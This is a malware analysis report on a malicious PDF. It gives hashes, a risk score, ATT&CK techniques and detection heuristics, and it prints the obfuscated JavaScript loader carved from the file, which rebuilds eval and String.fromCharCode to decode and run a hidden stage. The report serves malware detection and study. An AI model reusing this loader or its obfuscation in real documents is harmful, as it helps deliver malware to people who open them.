Malicious PDF — malware analysis report

Static analysis result for SHA-256 14d095c48af6f773…

MALICIOUS

PDF

45.2 KB Authoring application: substr First seen: 2012-09-15
MD5: 4d06cdd19e2af6a52ee664ee98c38c59 SHA-1: 3e8c1389f4b99cb2a8ff51faa4b63b82d1c45aa8 SHA-256: 14d095c48af6f773a850a3774b316b589f45afce61290678e913a96a2e3c64c8
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by heuristics as a loader. This script reconstructs a string by concatenating numeric character codes and then executes it, likely to download and run a secondary payload. The ML classifier strongly indicates maliciousness, and the presence of JavaScript points to T1059.007. Given it's a document, T1566.001 is a likely initial access vector.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB268 405 bytes
SHA-256: 3e9e2f6948eec4786f9e09fc8492976010c7ec357f589d7b87c3a550e3503990
Preview script
First 1,000 lines of the extracted script
lwo='';
v=producer;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
kgt=e('ti'+'tle');
s=kgt.substr(t.length + 8,3)+'str';
q=kgt[s](1,t.length + 7);
sifp=e(v[0].toUpperCase()+'tring.fro'+q);
q=kgt[s](t.length+12)[subject]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	xli = parseInt(q[i]) + parseInt(q[i+1]);
	lwo += sifp(xli);
}
e(lwo);

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